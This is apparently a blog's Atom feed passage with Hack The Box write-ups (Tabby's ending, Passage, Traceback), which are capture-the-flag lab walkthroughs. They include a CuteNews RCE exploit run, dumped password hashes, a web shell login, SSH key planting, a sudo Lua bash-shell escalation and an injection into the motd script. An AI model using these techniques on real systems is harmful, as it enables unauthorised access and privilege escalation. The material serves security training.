&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Once inside the container, navigate to /mnt/root to see all resources from the host machine.
After running the bash file. We see that we have a different shell, it is the shell of the container. 
This container has all the files of the host machine. So, we enumerated for the flag and found it.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mnt/root/root
ls
flag.txt
cat flag.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/86310532-a1ee2100-bc1e-11ea-8bb1-bf272f231d6c.png&quot; alt=&quot;root&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;finally-pwned&quot;&gt;finally pwned&lt;/h4&gt;</content><author><name></name></author><summary type="html">Hack The Box - Tabby</summary></entry><entry><title type="html">Passage</title><link href="https://python4004.github.io/passage" rel="alternate" type="text/html" title="Passage" /><published>2020-10-02T00:00:00+00:00</published><updated>2020-10-02T00:00:00+00:00</updated><id>https://python4004.github.io/Passage</id><content type="html" xml:base="https://python4004.github.io/passage">&lt;h1 id=&quot;hack-the-box---passage&quot;&gt;Hack The Box - Passage&lt;/h1&gt;
&lt;h2 id=&quot;this-is-my-writeup-and-walkthrough-for-pssage-from-hack-the-box&quot;&gt;This is my writeup and walkthrough for Pssage from Hack The Box.&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/94084107-04f9e900-fe05-11ea-9a3c-dfe7c1a04bf4.png&quot; alt=&quot;card&quot; /&gt;&lt;/p&gt;
&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;
&lt;p&gt;
A vulnerable management system by remote code excute
Through it I was able to enter the server and I found a file with words that I decrypted with a base64 , then I found that it had a hash sha2-256 type, then I decrypted  it and found a password for User Paul that took his credintials  on the server and was able to access his file and found its flag
&lt;/p&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Enumeration&lt;/code&gt;&lt;/h2&gt;

&lt;h4 id=&quot;1-nmap&quot;&gt;1-Nmap&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -sV -sV  10.10.10.206
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-24 01:22 EET
Nmap scan report for Passage.htb (10.10.10.206)
Host is up (0.41s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.56 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h4 id=&quot;2-user&quot;&gt;2-User&lt;/h4&gt;

&lt;p&gt;we have port 22 and 80 so i visited http://passage.htb:80 .\&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;I added passage domain to machine ip to /etc/hosts first &lt;/code&gt; .\&lt;/p&gt;

&lt;p&gt;I didn’t find useful thing , i tried to brute force directory but server down several times so i decided to find another way 
talk look again i discovered that this site powered by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CuteNews&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/94085004-3a073b00-fe07-11ea-9e7f-f5c8f25c1d28.png&quot; alt=&quot;Screenshot from 2020-09-24 01-32-38&quot; /&gt;
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/94085678-0f1de680-fe09-11ea-9c80-c02a0cb28a59.png&quot; alt=&quot;Screenshot from 2020-09-20 23-43-27&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After using google i discovered that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CuteNews&lt;/code&gt; is management system So I searched if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CuteNews&lt;/code&gt; vulnerable or not&lt;br /&gt;
Finally i found that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CuteNews&lt;/code&gt; vulnerable by Remote Code Execution.\&lt;/p&gt;

&lt;p&gt;I downloaded from exploit-db website exploit and installed the exploit on metasploit.  &lt;a href=&quot;https://www.exploit-db.com/exploits/46698&quot;&gt;CuteNews 2.1.2 - ‘avatar’ Remote Code Execution&lt;/a&gt;
.
This exploit need account credential do after alter searching i found login screen i created an account&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/94086085-33c68e00-fe0a-11ea-854e-04587e727691.png&quot; alt=&quot;Screenshot from 2020-09-24 00-35-28&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After running exploit from &lt;strong&gt;metasploit&lt;/strong&gt;
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/94086738-15fa2880-fe0c-11ea-80da-bccb43c74618.png&quot; alt=&quot;Screenshot from 2020-09-24 02-08-59&quot; /&gt;
After enumerat the server i found file call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lines&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/www/html/CuteNews/cdata/users
&lt;/code&gt; directory 
have important informations&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6MTA6InBhdWwtY29sZXMiO319
&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5ODgyOTgzMztzOjY6ImVncmU1NSI7fX0=
&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo2OiJlZ3JlNTUiO319
&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo1OiJhZG1pbiI7YTo4OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMDQ3IjtzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6MzoiYWNsIjtzOjE6IjEiO3M6NToiZW1haWwiO3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjQ6InBhc3MiO3M6NjQ6IjcxNDRhOGI1MzFjMjdhNjBiNTFkODFhZTE2YmUzYTgxY2VmNzIyZTExYjQzYTI2ZmRlMGNhOTdmOWUxNDg1ZTEiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3OTg4IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=
&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzI4MTtzOjk6InNpZC1tZWllciI7fX0=
&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjU6ImFkbWluIjt9fQ==
&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImtpbUBleGFtcGxlLmNvbSI7czo5OiJraW0tc3dpZnQiO319
&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzIzNjtzOjEwOiJwYXVsLWNvbGVzIjt9fQ==
&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJzaWQtbWVpZXIiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzI4MSI7czo0OiJuYW1lIjtzOjk6InNpZC1tZWllciI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToic2lkQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiU2lkIE1laWVyIjtzOjQ6InBhc3MiO3M6NjQ6IjRiZGQwYTBiYjQ3ZmM5ZjY2Y2JmMWE4OTgyZmQyZDM0NGQyYWVjMjgzZDFhZmFlYmI0NjUzZWMzOTU0ZGZmODgiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg1NjQ1IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=
&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzA0NztzOjU6ImFkbWluIjt9fQ==
&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6InNpZEBleGFtcGxlLmNvbSI7czo5OiJzaWQtbWVpZXIiO319
&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5hbWUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6NDoibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU2OTBlNWQzZDYxNjI4ZjQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTU5MjQ4NTU1NiI7czozOiJiYW4iO3M6MToiMCI7czozOiJjbnQiO3M6MToiMiI7fX19
&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJraW0tc3dpZnQiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzMwOSI7czo0OiJuYW1lIjtzOjk6ImtpbS1zd2lmdCI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToia2ltQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiS2ltIFN3aWZ0IjtzOjQ6InBhc3MiO3M6NjQ6ImY2NjlhNmY2OTFmOThhYjA1NjIzNTZjMGNkNWQ1ZTdkY2RjMjBhMDc5NDFjODZhZGNmY2U5YWYzMDg1ZmJlY2EiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3MDk2IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIzIjt9fX0=
&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo2OiJlZ3JlNTUiO2E6MTE6e3M6MjoiaWQiO3M6MTA6IjE1OTg4Mjk4MzMiO3M6NDoibmFtZSI7czo2OiJlZ3JlNTUiO3M6MzoiYWNsIjtzOjE6IjQiO3M6NToiZW1haWwiO3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo0OiJuaWNrIjtzOjY6ImVncmU1NSI7czo0OiJwYXNzIjtzOjY0OiI0ZGIxZjBiZmQ2M2JlMDU4ZDRhYjA0ZjE4ZjY1MzMxYWMxMWJiNDk0YjU3OTJjNDgwZmFmN2ZiMGM0MGZhOWNjIjtzOjQ6Im1vcmUiO3M6NjA6IllUb3lPbnR6T2pRNkluTnBkR1VpTzNNNk1Eb2lJanR6T2pVNkltRmliM1YwSWp0ek9qQTZJaUk3ZlE9PSI7czozOiJsdHMiO3M6MTA6IjE1OTg4MzQwNzkiO3M6MzoiYmFuIjtzOjE6IjAiO3M6NjoiYXZhdGFyIjtzOjI2OiJhdmF0YXJfZWdyZTU1X3Nwd3ZndWp3LnBocCI7czo2OiJlLWhpZGUiO3M6MDoiIjt9fX0=
&amp;lt;?php die('Direct call - access denied'); ?&amp;gt;
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzMwOTtzOjk6ImtpbS1zd2lmdCI7fX0=
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I decoded this lines to base64 and i found hash this .
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/94087687-b5b8b600-fe0e-11ea-831e-e0f2ba2581c3.png&quot; alt=&quot;Screenshot from 2020-09-24 00-05-48&quot; /&gt;
 I got to know the type of encryption used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SHA2-256&lt;/code&gt; and then I decrypt it online and it was the password&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/94087840-0f20e500-fe0f-11ea-9360-7c0c57b46a56.png&quot; alt=&quot;Screenshot from 2020-09-24 00-07-08&quot; /&gt;
now i have paul credential 
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/94087985-6d4dc800-fe0f-11ea-8a9f-4883c3e83a60.png&quot; alt=&quot;Screenshot from 2020-09-24 00-07-55&quot; /&gt;
In paul file there is a file for ssh ,And I had ssh private and public key ,so i copied ssh private key and used port 22 to login by &lt;strong&gt;paul&lt;/strong&gt; private key&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/94088312-7b501880-fe10-11ea-830b-7186ff692726.png&quot; alt=&quot;Screenshot from 2020-09-24 00-08-33&quot; /&gt;
I have successfully logged in and gained user flag 
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/94088605-311b6700-fe11-11ea-8b8b-b011f1b834c1.png&quot; alt=&quot;Screenshot from 2020-09-24 02-46-44&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;3-root&quot;&gt;3-Root&lt;/h4&gt;

&lt;p&gt;At this stage it took a lot of time, but I remembered that I have another user and therefore it may be useful, but I cannot see the content of the file
I decided to turn off the laptop And watch a movie.&lt;br /&gt;
I started over
The first, after some thought, I decided to see the processes that happened on the machines using ` ps -auwx` command.
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/94089842-69707480-fe14-11ea-9299-bb5fba86a1bd.png&quot; alt=&quot;Screenshot from 2020-09-22 13-54-19&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I found &lt;strong&gt;Paul&lt;/strong&gt; used the same ssh private to log into the &lt;strong&gt;nadav&lt;/strong&gt; account&lt;br /&gt;
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/94090115-1814b500-fe15-11ea-975f-c04851993659.png&quot; alt=&quot;Screenshot from 2020-09-24 03-14-57&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I tried to see the processes created by &lt;strong&gt;nadav&lt;/strong&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ps -auwx&lt;/code&gt; And I noticed &lt;strong&gt;dbus-daemon - Message bus daemon&lt;/strong&gt;&lt;br /&gt;
D-Bus as its inter-process communications (IPC) mediator
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/94090759-b6554a80-fe16-11ea-8c40-8f969c8ddae2.png&quot; alt=&quot;Screenshot from 2020-09-24 03-26-28&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In these moments a time and a stage began to learn more about the &lt;strong&gt;dbas&lt;/strong&gt; system.
After the search, I found an exploitation of a security vulnerability , and therefore I decided to review the conference file to find out if he was injured from the site or system side\&lt;/p&gt;

&lt;p&gt;you can read more about &lt;strong&gt;dbus-daemon&lt;/strong&gt;  from herer &lt;a href=&quot;https://linux.die.net/man/1/dbus-daemon&quot;&gt;dbus-daemon &lt;/a&gt;.
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/94091664-14832d00-fe19-11ea-9cd8-cf063fad6bd3.png&quot; alt=&quot;Screenshot from 2020-09-24 03-42-52&quot; /&gt;
After researching, I found that there was indeed a security issue in USBCreator D-Bus Privilege Escalation in Ubuntu Desktop.
&lt;a href=&quot;https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/&quot;&gt;USBCreator D-Bus Privilege Escalation &lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The explanation of the exploitation is that I can copy the content of a file or modify it to a file without obtaining permission from the owner of that file&lt;br /&gt;
 The idea is that I created a test.txt file in tmp directory  and copied the contents of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root/root.txt&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tmp/test.txt&lt;/code&gt; by &lt;strong&gt;gdbus&lt;/strong&gt; commnad that i found in the USBCreator D-Bus exploit.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/94148032-64441180-fe76-11ea-9f5d-0deba52540a8.png&quot; alt=&quot;Screenshot from 2020-09-23 23-11-32&quot; /&gt;&lt;/p&gt;</content><author><name></name></author><summary type="html">Hack The Box - Passage This is my writeup and walkthrough for Pssage from Hack The Box.</summary></entry><entry><title type="html">Traceback</title><link href="https://python4004.github.io/traceback" rel="alternate" type="text/html" title="Traceback" /><published>2020-08-14T00:00:00+00:00</published><updated>2020-08-14T00:00:00+00:00</updated><id>https://python4004.github.io/traceback</id><content type="html" xml:base="https://python4004.github.io/traceback">&lt;h2 id=&quot;hack-the-box---tracback&quot;&gt;Hack The Box - Tracback&lt;/h2&gt;

&lt;h3 id=&quot;this-is-my-writeup-and-walkthrough-for-traceback-from-hack-the-box&quot;&gt;This is my writeup and walkthrough for Traceback from Hack The Box.&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/90196696-cd8f2a00-ddcc-11ea-9f4f-5c0f9ca9ba3d.jpg&quot; alt=&quot;main&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;it-was-an-easy-machine-from-hack-the-box&quot;&gt;It was an easy machine from &lt;em&gt;Hack The Box&lt;/em&gt;&lt;/h3&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Enumeration&lt;/code&gt;&lt;/h2&gt;

&lt;h4 id=&quot;1-nmap&quot;&gt;1-Nmap&lt;/h4&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap -sC -sV 10.10.10.181&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -sC -sV 10.10.10.181
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-14 01:20 EET
Nmap scan report for 10.10.10.181
Host is up (0.41s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29
| http-ls: Volume /
| SIZE  TIME              FILENAME
| 103K  2020-02-27 05:37  smevk.php
|_
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Index of /
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I found http on port 80 and ssh on port 22.
use should have password to conncet server so lets see http 
i opend source code i found this comment 
`
		&lt;!--Some of the best web shells that you might need ;)--&gt;`&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/81316540-feecb100-908b-11ea-94d2-a4b602e0a7b6.png&quot; alt=&quot;Screenshot from 2020-05-07 17-49-56&quot; /&gt;
 the first thing i do i bruteforce http dircetory by Wfuzz but it take much time , i googled on this comment i found differnt web shells on :
https://github.com/TheBinitGhimire/Web-Shells” 
reading smevk.php
we can login http://10.10.10.181/smevk.php
username:&lt;strong&gt;admin&lt;/strong&gt;
password:&lt;strong&gt;admin&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;now lets go to this  directory  &lt;strong&gt;/home/webadmin/.ssh&lt;/strong&gt; 
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/81319780-745a8080-9090-11ea-800a-f18601cdc38f.png&quot; alt=&quot;Screenshot from 2020-05-07 18-23-38&quot; /&gt;
i could to upload ssh autherizeed key 
to generate ssh keys&lt;br /&gt;
i used  &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh-keygen&lt;/code&gt;&lt;/strong&gt; tool on linux 
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/81320041-da470800-9090-11ea-93d7-6956bc5bfdc0.png&quot; alt=&quot;sshgenerat&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;2-user-access&quot;&gt;2-user access&lt;/h3&gt;

&lt;p&gt;so now lets try to login to server:
&lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh-i id_rsa webadmin@10.10.10.181&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/81354623-61fe3800-90cc-11ea-8ccc-92a912176868.png&quot; alt=&quot;echo_note&quot; /&gt;
two files was the solution to take user acess &lt;strong&gt;note.txt&lt;/strong&gt; &amp;amp; &lt;strong&gt;bash-history&lt;/strong&gt;
okey the olny thing we will do write simple lua script and save it on file
&lt;strong&gt;echo ‘os.execute(“ /bin/bash -i “)’ »block.lua ** 
save it on **block.lua file&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/81354540-2cf1e580-90cc-11ea-8b80-ff368637bbfb.png&quot; alt=&quot;note script&quot; /&gt;
 okey lets try to acess sysadmin  by block.lua
` sudo -u sysadmin /home/sysadmin/luvit block.lua
`
 go back to home directory 
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/81355358-983cb700-90ce-11ea-8a26-2eec59305606.png&quot; alt=&quot;acces_system_admin&quot; /&gt;&lt;/p&gt;

&lt;p&gt;now i have access on sysadmin 
checking files &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls -al &lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/81357137-287cfb00-90d3-11ea-874e-160c7a63cca7.png&quot; alt=&quot;acces_system_admin&quot; /&gt;&lt;/p&gt;

&lt;p&gt;now i have user access &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user.txt&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&quot;3-root-access&quot;&gt;3-root access&lt;/h3&gt;
&lt;p&gt;lets try to get root access, so i searched all files i didnt get any thing. 
after googling much time to get root access i use &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ps -aux&lt;/code&gt;&lt;/strong&gt; commmnd  to provide information about the currently running processes.
i notice that there was an operation happened in this directory &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/update-motd.d/&lt;/code&gt;&lt;/strong&gt;
going to this directory ckeck all details &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls -al&lt;/code&gt;&lt;/strong&gt;
&lt;img src=&quot;https://user-images.githubusercontent.com/36403473/81357368-ba850380-90d3-11ea-9e74-9ceedefe51cc.png&quot; alt=&quot;not2root&quot; /&gt;
after googling i discovred bug in  The file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/update-motd.d/00-header&lt;/code&gt; according to this   &lt;a href=&quot;https://bugs.launchpad.net/ubuntu/+source/base-files/+bug/510599&quot;&gt;/etc/update-motd.d/00-header is broken&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;so lets
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo &quot;cat root/root.txt &quot; &amp;gt;&amp;gt; 00-header&lt;/code&gt;
then login again to server i try many time to login 
at the end the root flag printed on the welcome screen&lt;/p&gt;</content><author><name></name></author><summary type="html">Hack The Box - Tracback</summary></entry></feed>